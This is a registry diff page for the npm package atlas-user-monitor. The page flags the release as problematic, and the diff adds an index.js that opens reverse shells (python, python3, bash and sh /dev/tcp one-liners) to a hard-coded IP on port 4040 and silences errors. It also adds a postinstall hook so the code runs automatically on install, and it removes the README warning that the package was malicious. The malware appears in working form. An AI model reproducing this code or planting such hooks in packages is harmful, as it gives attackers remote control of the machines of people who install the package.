atlas-user-monitor 0.0.1-security → 11.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atlas-user-monitor might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +47 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ const { exec } = require('child_process');
2
+ const net = require('net');
3
+
4
+ const targetIP = '154.61.80.228';
5
+ const targetPort = 4040;
6
+
7
+ const client = new net.Socket();
8
+
9
+ client.connect(targetPort, targetIP, () => {
10
+ // Try different shell commands
11
+ const commands = [
12
+ 'nohup python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.61.80.228",4040));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\' > /dev/null 2>&1 &',
13
+ 'nohup python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.61.80.228",4040));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\' > /dev/null 2>&1 &',
14
+ 'nohup bash -i >& /dev/tcp/154.61.80.228/4040 0>&1 > /dev/null 2>&1 &',
15
+ 'nohup sh -i >& /dev/tcp/154.61.80.228/4040 0>&1 > /dev/null 2>&1 &'
16
+ ];
17
+
18
+ let commandIndex = 0;
19
+
20
+ function tryCommand() {
21
+ if (commandIndex >= commands.length) {
22
+ return;
23
+ }
24
+
25
+ const command = commands[commandIndex];
26
+ const sh = exec(command, (error, stdout, stderr) => {
27
+ if (error) {
28
+ commandIndex++;
29
+ tryCommand();
30
+ return;
31
+ }
32
+ });
33
+
34
+ client.write('Connected to the target IP and port\n');
35
+
36
+ sh.stdout.pipe(client);
37
+ sh.stderr.pipe(client);
38
+
39
+ client.pipe(sh.stdin);
40
+ }
41
+
42
+ tryCommand();
43
+ });
44
+
45
+ client.on('error', (err) => {
46
+ // No logging for errors
47
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "atlas-user-monitor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "11.5.6",
4
+ "description": "Snehil",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "Snehil",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=atlas-user-monitor for more information.